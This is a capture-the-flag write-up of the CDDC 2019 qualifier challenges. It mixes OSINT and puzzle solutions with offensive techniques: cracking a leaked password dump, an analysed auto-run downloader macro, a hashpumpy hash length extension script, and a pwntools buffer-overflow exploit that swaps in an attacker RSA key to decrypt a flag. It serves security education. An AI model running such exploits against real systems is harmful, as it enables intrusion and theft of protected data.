Cyber Defenders Discovery Camp 2019 Qualifiers

Writeup of Challenges Solved for CDDC 2019 Qualifiers

A team of friends and I participated in the qualifiers for the Cyber Defenders Discovery Camp (CDDC) 2019. Writeups for the challenges we solved are found below with the exception of LSCVM-ii because it will be reused in the finals.

Just a foreword - my team: Soon Keat, Isaac, Yong Chuan were *ahem* brought along on an adventure during this CTF because some of them did not think they were up to the task. After the qualifiers, I can confidently say that my team has exceeded my expectations with our overall performance. Everyone played to their strengths and solved what they could.

For those who are new to this and find the challenges hard and find themselves out of their league, my only advise is to practice more, participate in more CTFs and just keep getting stuck.

Only by getting stuck repeatedly will you learn how to move on when you don't know what to do - a very common if not the most state in a CTF :)

After the CTF, pick a few (or even just 1) challenges that got you stumped and find writeups for them. Understand (and preferably develop your own attack for the challenge) the writeup, the methods used, why they work, why they dont work so that you are never stumped by the same thing again.

[R-0] Everyone <3 Fan Mail

WHOIS the domain. As the registry may not hold the registrant contact information, we will also need to WHOIS the registrar to see if they will give it to us. Once we query the registrar, we find the email addresses of the domain contacts.

WHOIS Information for

Since the domain is not under any WHOIS protection, etc, we can email him directly. And since he loves to reply to fan mail, it seems he will give us the flag directly.

Email Response

[R-1] Travel to the Past

Using the Wayback Machine:

[R-2] I’m Sho Done With This

Searching LightSpeedCorp on Shodan reveals an interesting string:

Reversing “}U-gnihc7aW-er4-sreht0rB-hc3T-g1B{$91CDDC$” gives us the flag.

[R-3-1] Have They Been Pwned?

Searching LightSpeedCorp on Yandex reveals there was a recon project, and returns a Pastebin:

Inside it, there is a hex string “24 43 44 44 43 31 39 24 7B 37 48 30 75 5F 48 34 73 54 5F 4C 33 41 72 4E 33 44 5F 32 5F 47 30 30 30 47 4C 45 7D”. Converting it to ASCII reveals the flag.

[R-3-2] cHash Me Outside How 'Bout Dat

Inside the hacker’s Pastebin account is a password dump document:

We run the passwords against John the Ripper with the standard rockyou.txt wordlist.

PS > .\john chash.txt --wordlist rockyou.txt
Using default input encoding: UTF-8
Loaded 15 password hashes with 15 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123123           (?)
princesa         (?)
patricia         (?)
september        (?)
christopher      (?)
britney          (?)
savannah         (?)
rocky            (?)
martha           (?)
simpsons         (?)
pickles          (?)
starlight        (?)
dragon1          (?)
moocow           (?)

As the password could be any one of them, we had to guess. Turned out to be starlight.

[R-4-1] Where I Get All My Memes From

Since we know the administrator’s name and email, we can look him up on one of the major social networking sites. Turns out, he had a Twitter handle , and the flag was in his bio.

[R-4-1-2] Don't Be A Git

Linus Torvalds has a colleague he was conversing with, Sjang Heinhuis. They also have another colleague, Bobby Hashlinger. Inside Bobby’s tweets was a link to a Github profile belonging to Sjang, linking to a d4rkspeedcorp-framework.

Reversing the line reveals the flag: $CDDC19${D0n7_b3_5cAr3D_0f_c0MM1tM3nT5}

[B-0] What's in, Doc?

We were given a Microsoft Word document. Since Office files are archives, 7z opens them easily:

Two weird things pop up: the chatlog and Light_speed_corp_logo_pink_team.xml are definitely not part of a standard document archive.

While the chatlog does not contain anything useful, the pink_team.xml file looks interesting:

The file has a binary header, what does file say it is?

justin@kali:~/cddc19$ file Light_speed_corp_logo_pink_team.xml
Light_speed_corp_logo_pink_team.xml: JPEG image data, JFIF standard 1.02, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 3509x2481, components 3

Looks like its a jpg. Open it in a image viewer after renaming it:

[B-1] Fight the Binary Monster

A console-based .exe was provided. Taking a look inside with IDA, we see two pastebin links:

A tree is present in the second link:

The flag can be extracted by reading the nodes from left to right (numbers have been added to show the order): $CDDC19${havesometrees}

[B-2] I <3000 PHISH

Suspicious document (job-requirements.docm) - let’s take a look at macros in the document then.

justin@kali:~/cddc19$ olevba --reveal job-requirements.docm
olevba 0.54.2 on Python 2.7.16 -
FILE: job-requirements.docm
Type: OpenXML
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
...snip irrelevant content...

VBA MACRO NewMacros.bas
in file: word/vbaProject.bin - OLE stream: u'VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
|Type      |Keyword             |Description                                  |
|AutoExec  |Document_Open       |Runs when the Word or Publisher document is  |
|          |                    |opened                                       |
|Suspicious|CreateObject        |May create an OLE object                     |
|Suspicious|ADODB.Stream        |May create a text file                       |
|Suspicious|SaveToFile          |May create a text file                       |
|Suspicious|Environ             |May read system environment variables        |
|Suspicious|Write               |May write to a file (if combined with Open)  |
|Suspicious|Output              |May write to a file (if combined with Open)  |
|Suspicious|Print #             |May write to a file (if combined with Open)  |
|Suspicious|Open                |May open a file                              |
|Suspicious|Chr                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|Microsoft.XMLHTTP   |May download files from the Internet         |
|Suspicious|Base64 Strings      |Base64-encoded strings were detected, may be |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|Suspicious|VBA obfuscated      |VBA string expressions were detected, may be |
|          |Strings             |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|IOC       ||URL                                          |
|          |/                   |                                             |
|VBA string|%temp%\lightspeed.tx|Environ("temp") + "\" + Chr(108) + "i" +     |
|          |t                   |Chr(103) + "h" + Chr(116) + "speed" + Chr(46)|
|          |                    |+ Chr(116) + "x" + Chr(116)                  |
|VBA string|                    |Chr$(13) & Chr$(10)                          |

Sub Document_Open()

Dim filePath As String, myURL As String, myPath As String
filePath = "%temp%\lightspeed.txt"
myURL = ""
myPath = "raw/J6YCXPCM"

Dim WinHttpReq As Object
Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
WinHttpReq.Open "GET", myURL + myPath, False

myURL = WinHttpReq.ResponseBody
If WinHttpReq.Status = 200 Then
    Set oStream = CreateObject("ADODB.Stream")
    oStream.Type = 1
    oStream.Write WinHttpReq.ResponseBody
    oStream.SaveToFile filePath, 2
End If

Dim text As String, textline As String, posLat As Integer, posLong As Integer
Open filePath For Input As #1
Do Until EOF(1)
    Line Input #1, textline
    text = text & textline & "
Close #1

Open filePath + ":woohoo.txt" For Output As #1
Print #1, text + "w.i.t.f.t.f.i.h.b.i.l.s.d.y.l.s.t.s.w.c.y.........w.........f.i.?.......g.b.m............n.h"
Print #1, "h.s.h.l.h.l.s.e.e...o.a.o.o.o.a.o.o.h.a.o.........h.........i.t.?.......o.a.o............o.e"
Print #1, "e...e.a.e.a...r.c...v.l...u.v.l.o.m.e.n.u.........o.........n...?.........c.r............t.r"
Print #1, "r.....g...g...e.a...e.m.....e.m.?.e.r.............o.........d...?.........k.e..............e"
Print #1, "e...............u.....o.......o.....e.............p........................................."
Print #1, "................s.....n.......n...................s........................................."
Print #1, "................e.....!....................................................................."
Print #1, "}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}"
Close #1

End Sub

Attribute VB_Name = "NewMacros"

Some weird script that downloads a file from pastebin, concatenates another chunk to it and writes it to an alternate data stream at %temp%\lightspeed.txt:woohoo.txt.

Taking a look at the file created with Get-Content -Path %TEMP%\lightspeed.txt -stream woohoo.txt:

The flag can be found by reading the only complete column.

[B-3-1] Onion Sauce

We were given a .onion URL: ctfsg4bndpw6xurhitwa2dh66ycorghoa2ym3s3s4g3bgxqs3veaf4ad.onion. Visiting it with Tor resulted in a page filled with HTML breaks. Stripping them out with Find and Replace displays the flag.

[B-3-2] When Your ZIL Turns to NIL :'(

Pivoting from the wallet address in B-3-1, we look up the address on a viewer:

The sender and value of the highlighted transaction is likely the one we’re interested in and form the flag: $CDDC19${0xE04E2AFC438BC0CE5D0B235607E66B2296778F44+0.02019}

[B-4-1] Where I Get All My GIFs From

From B-2, we found a name in the Author field of the document: "Caomhainn MacRob"

Thus, from here, we are able to scour through social media for people with the same name. And we find a match on Twitter with the flag in his bio:

[B-4-2] Hide N Seek

Taking a look at the profile of Caomhainn MacRob using an online viewer, we see that a link to another tweet is provided:

Upon clicking on that link, we are lead to another profile with the flag.

Not FairPrice, but FairPlay

Given an HTML page with some cipher text and a QR code:

<h1>Do you want a flag?</h1>
<a href="javascript:alert('F_NGNU_KNDV_NQ_LHUBWYFTY')"><img src="fairplay_qrcode.png"></a>
<h1>Here you go!</h1
Making Use of the Great Tool CyberChef:

Using a Playfair cipher solver with the two strings gives us the flag (after putting back the underscores): $CDDC19${A_FAIR_PLAY_IS_IMPORTANT}


Given a web application we poke around and see a debug_mode flag we can set to get the following source:

if (isset($_GET["prod_code"])) {
    $req_prod_code = $_GET["prod_code"];

    foreach (array_keys($ITEMS) as $prod_code) {
        if ($prod_code === $req_prod_code) {
            $set_prod_code = base64_encode($req_prod_code);
            $set_transaction_hash = $ITEMS[$req_prod_code]["hash"];
            $set_time = time()+3600;

            @setcookie("prod_code", $set_prod_code, $set_time, "/");
            @setcookie("transaction_hash", $set_transaction_hash, $set_time, "/");
            $_COOKIE["prod_code"] = $set_prod_code;
            $_COOKIE["transaction_hash"] = $set_transaction_hash;

if (isset($_COOKIE["prod_code"]) && isset($_COOKIE["transaction_hash"])) {
    $prod_code = base64_decode($_COOKIE["prod_code"]);
    $transaction_hash = $_COOKIE["transaction_hash"];

    if (hash("sha512",$PRIVATE_KEY.$prod_code) === $transaction_hash) {
        $set_time = time()+3600;

        switch ($prod_code) {
                echo "Success: {$ITEMS[$prod_code]["msg"]}";
                @setcookie("prod_code", "", $set_time, "/");
                @setcookie("transaction_hash", "", $set_time, "/");
                echo "{$FLAG}";            
} else {
    echo "Error: Transaction hash is invalid.";

The functionality of the page can be summarised into the following:

Given a product code, the page retrieves a corresponding transaction hash (which is sha512(private_key + product_code)).

However, the flag is only printed when product_code is not 94-04-3QmM-ulP-c0z-k or W8-31-5053-0kX-QiL-1.

The challenge here is thus to provide a product code and the corresponding transaction hash without knowing the private key.

This can be accomplished through a hash extension attack: Given

sha512($key + $message) = $hash)

where the values of $message and $hash are known, an attacker can calculate

sha512($key + $message + $append)

where $append is some attacker chosen value with the caveat that the final hash is actually

sha512($key + $message + $some_junk + $append)

because the attack packs the initial padding in. The application conveniently leaks a valid pair of a product code and a transaction hash:

The script used to execute the attack is as follows. Note that I end up brute forcing the submission with different key lengths because guessing that is necessary for the attack to succeed (look up how hash extension attacks work, but a quick explanation is: $some_junk is actually padding, and for the resulting hash to be correct the padding has to be correct. This padding is dependent on the length of the key).

import base64
import hashpumpy
import requests

PROD_CODE = "W8-31-5053-0kX-QiL-1"
T_HASH = "4b1fd6e9321db837da0e60843f664d7484d78acf93893c9767a0fb0f52ff80ca14ec75588dcbefa1b0167d6984de05305b1c20c21ce7f20dd73883929ab5f051"

for i in range(64):
   print("trying i={}".format(i))
   new_t_hash, new_prod_code = hashpumpy.hashpump(T_HASH, PROD_CODE, "a", i)
   cookies = {
       "prod_code": base64.b64encode(new_prod_code),
       "transaction_hash": new_t_hash

   r = requests.get("", cookies=cookies)


> python
trying i=0
<!-- ?debug_mode=1 -->


trying i=13
<!-- ?debug_mode=1 -->

trying i=14
<!-- ?debug_mode=1 -->


Downloading the zip file reveals a password-protected zip file. Using hex editor to examine the file reveals a specific PNG portion, based on the file header and footer.

From here, we can proceed to carve out the file, which is a png document with the flag inside it.

The Terrible Photographer Strikes!

We were given a photo containing the flag:

We are obviously interested in the text on the router, but look at how blurry it is. This looks like the perfect job for Adobe Photoshop, where there is a tool specifically designed to reduce motion blur. It works by analysing edges and tracing the path that the camera took and attempting to de-blur the selected portion in the photo.

Full Sized Improved Photo. Much Better.



We were given the following text:

[01] इस भाषा का पहला चरित्र झंडा बनाता है।
[02] Karakter pertama bahasa ini yang mengibarkan bendera.
[03] 这种语言的第一个字符构成了旗帜。
[04] Het eerste teken van deze taal vormt de vlag.
[05] Det første tegn på dette sprog udgør flag.
[06] El primer caràcter d’aquest idioma constitueix la bandera.
[07] Det første tegnet av dette språket utgjør flagget.
[08] El primer carácter de este lenguaje lo constituye la bandera.
[09] Thawj qhov cim ntawm hom lus no ua rau tus chij.
[10] Prvi znak ovog jezika čini zastavu.

The languages that each line is written in:

  1. Hindi
  2. Indonesian
  3. Chinese
  4. Dutch
  5. Danish
  6. Catalan
  7. Norwegian
  8. Spanish
  9. Hmong
  10. Crotian

From there, we were given the format: $CDDC19${[01][02]~[03][04][05][06]&[07][08][09][10]!}, resulting in the flag $CDDC19${HI~CDDC&NSHC!}

Do You Fancy Numbers?

We were given the above image. A bit of research indicates that these are Suzhou numerals, decodable using the chart found here

They translate to:

Decoding to ASCII returns the flag: $CDDC19${50_y0u_f4NcY_fl0W3r_NuMb3R5}

Super Strong TeleVision

As the name implies, the audio file provided is actually a Slow-Scan Television signal. Playing it into the Android app “Robot36” renders the image.

Do Not Accept Your Fate

We were given a faulty cmd script to fix for this challenge.

Left: Initial Script. Right: Modified Script

After poking around, we realised that ExitCodeAscii was the thing to zoom in on. The loop seemed similar to the code at we patched the script to dump the ASCII return characters:

Running the script then provides the flag one character at a time: $CDDC19${ascii}


There is a type of DNS record called TXT. Since the challenge is literally titled TxT, that is probably the type of record to look for.

Count 1: Baby

The challenge was to golf the following code to less than 53 characters:

#include <stdio.h>

int main(int argc, char *argv[])
        int i;

        for( i = 1 ; i < 10000 ; i++ )
                printf("%d,", i);

        return 0;

After compacting the code down and removing the include (compiling throws a warning but well, it still compiles), we have a 41 character solution.


Count 2: Wildness

Count 1: Baby with more limitations:

  • Total length <= 41 characters
  • Characters in “<== w1lD ==>" are blacklisted

Making use of a few tricks:

  1. Declaring a global which is implicitly initialised to 0
  2. Checking for equality with 9999 instead of 10000 to avoid 1
  3. Checking for equality with XOR to avoid =

Gives the following 41 character solution:


Count 4: Madness - Filter

Count 1: Baby with even weirder restrictions:

  • Total length <= 44
  • Alphabets used must be in “mad printf” (Note that this excludes symbols). Validation code:
mad = 'mad printf'
    for ch in code:
        if ch.islower() and (ch not in mad):
            print "\nSorry, this key is broken! -> '{}'".format(ch)

Since for and while are not allowed, we call main recursively to achieve the same looping functionality. 44 characters:



Lemonade.exe was provided, which turns out to be a compiled AutoIt script:

Decompiling it with Ext2Aut (from contains what we’re looking for:

While 1
	$nmsg = GUIGetMsg()
	Switch $nmsg
		Case $gui_event_close
		Case $button2
		Case $button1
			Local $int1 = GUICtrlRead($input1)
			Local $int2 = GUICtrlRead($input2)
			If $int1 = "" OR $int2 = "" Then
				MsgBox(0, "NOPEEEE", "Please input numbers :)")
			ElseIf $int1 = 941228 AND $int2 = 940628 Then
				MsgBox(0, "Congratulations XD!!", "$CDDC19${easy_peasy_Autoit_squeezy}")
			ElseIf NOT StringIsInt($int1) OR NOT StringIsInt($int2) Then
				MsgBox(0, "NOPEEEE", "Only numbers allowed :(")
				MsgBox(0, "Result!!", $int1 + $int2)


This PHP puzzle revolves around how $_SERVER[“QUERY_STRING”] is processed before being passed to $_GET - characters are blacklisted in $_SERVER[“QUERY_STRING”].

However, a close read of the documentation for $_GET has this interesting line: “The GET variables are passed through urldecode()”. I just need to URL encode the entire key to bypass the filters:

a = ""
for c in "_1234567890-ABCDEFGHIJKLMNOPQRSTUVWXYZ-qwertyuiopasdfghjklzxcvbnm_":
    a += "%{}".format(str(hex(ord(c)))[2:])



The binary given allows data to be encrypted by a public key. Decompilation of the main function with Ghidra:

undefined8 main(void)

  int len_pubkey;
  undefined4 option;
  uint len_encrypted_flag;
  uint uVar1;
  ssize_t sVar2;
  size_t sVar3;
  void *__ptr;
  long lVar4;
  undefined8 *puVar5;
  long in_FS_OFFSET;
  char local_19b9;
  int local_19b8;
  uint len_flag;
  char ptr_input [256];
  undefined pubkey [2048];
  undefined flag [128];
  undefined8 encrypted_flag [513];
  long local_10;
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  lVar4 = 0x200;
  puVar5 = encrypted_flag;
  while (lVar4 != 0) {
    lVar4 = lVar4 + -1;
    *puVar5 = 0;
    puVar5 = puVar5 + 1;
  *(undefined2 *)puVar5 = 0;
  setvbuf(stdout,(char *)0x0,1,0);
  setvbuf(stdin,(char *)0x0,1,0);
  len_flag = load_file(&DAT_00101dd2,flag);
  len_pubkey = load_file("public.pem",pubkey);
  pubkey[(long)len_pubkey] = 0;
  puts("Text Encryption Service ");
  DAT_00303068 = rsa_init(pubkey,1);
  local_19b8 = 0;
  do {
    if (9 < local_19b8) {
      if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
      return 0;
    option = FUN_0010158d();
    switch(option) {
      puts("Please select 1-5 \n");
    case 1:
      len_encrypted_flag = rsa_encrypt(flag,(ulong)len_flag,pubkey,encrypted_flag);
      if (len_encrypted_flag == 0xffffffff) {
        FUN_00101402("[-] Public Key Encryption Failed ");
                    /* WARNING: Subroutine does not return */
      puts("[Encrypted message example] ----------------------------------------|");
      printf("[+] Encrypted message length : %d\n",(ulong)len_encrypted_flag);
      __ptr = (void *)FUN_0010129a(encrypted_flag,(ulong)len_encrypted_flag,
      printf("[+] Encrypted Text : \n%s");
    case 2:
      printf("\n\n[*] Input : ");
      sVar2 = read(0,ptr_input,0x214);
      ptr_input[(long)((int)sVar2 + -1)] = 0;
      if ((int)sVar2 < 0x101) {
        sVar3 = strlen(ptr_input);
        uVar1 = rsa_encrypt(ptr_input,sVar3 & 0xffffffff,pubkey,encrypted_flag);
        if (uVar1 == 0xffffffff) {
          FUN_00101402("[-] Public Key Encryption Failed ");
                    /* WARNING: Subroutine does not return */
        puts("[Encrypted message] -------------------------------------------------|");
        printf("[+] Encrypted message length : %d\n",(ulong)uVar1);
        __ptr = (void *)FUN_0010129a(encrypted_flag,(ulong)uVar1,(ulong)uVar1);
        printf("[+] Encrypted Text : \n%s",__ptr);
      else {
        puts("Input buffer overflow");
    case 3:
      DAT_00303068 = rsa_init(pubkey,1);
      puts("Decrypting service is *NOT* implemented yet. Sorry!\n");
    case 4:
      puts("[Print public key] -------------------------------------------------|");
      printf("[+] Public key length : %d\n",0x80);
      printf("[+] Public key : \n%s",pubkey);
    case 5:
      printf("Are you satisfied our service? (y/n) : ");
      if (local_19b9 != 'n') {
        puts("\nGood bye!\n");
        goto LAB_00101c28;
      local_19b8 = 0;
    local_19b8 = local_19b8 + 1;
  } while( true );

At this point, a big flashing red alarm goes off over the manual buffer overflow check. The read in case 2 reads up to 0x214 bytes into a buffer that is only 256 bytes long. What happens when this overflows then?

Your selection : $ 4

    You have selected [4]

[Print public key] -------------------------------------------------|
[+] Public key length : 128
[+] Public key :

Oops. It turns out that the buffer overflow proceeds to write data into the buffer holding the public key! The attack vector is clear here - write in my own public key for which I have the private key using this buffer overflow.

However, pubkey being passed to rsa_encrypt does not actually modify the encryption - I presume it’s there just to make people curse and swear :).

ulong rsa_encrypt(uchar *puParm1,int iParm2,undefined8 uParm3,uchar *puParm4)

  uint uVar1;
  uVar1 = RSA_public_encrypt(iParm2,puParm1,puParm4,DAT_00303068,DAT_00303010);
  return (ulong)uVar1;

The public key to be used for encryption is actually set when the RSA object is created. Luckily, I can re-create the RSA object thanks to case 3:

case 3:
   DAT_00303068 = rsa_init(pubkey,1);
   puts("Decrypting service is *NOT* implemented yet. Sorry!\n");

With that in mind, the attack:

Generate a set of public and private RSA keys:

openssl genrsa -out private_attack.pem 1024
openssl rsa -in private.pem -outform PEM -pubout -out public_attack.pem

The following Python script extracts the encrypted flag:

import base64
from pwn import *

with open("public_attack.pem") as f:
    pubkey =


#r = process("./encryptsvc")
r = remote("", 54321)

# select input
r.recvuntil("selection :")

# overwrite pubkey with my own pubkey (i have the corresponding privkey)
r.recvuntil("Input :")
r.sendline("A"*256 + pubkey)

# trigger reinitialisation of rsa_init
r.recvuntil("selection :")

# read the example
r.recvuntil("selection :")

r.recvuntil("Text :")
enc = r.recvuntil("-----")[:-5].strip()

with open("flag.encrypted", "wb") as f:

Which can then be decrypted with my own private key:

openssl rsautl -decrypt -in flag.encrypted -out evc -inkey private_attack.pem
cat evc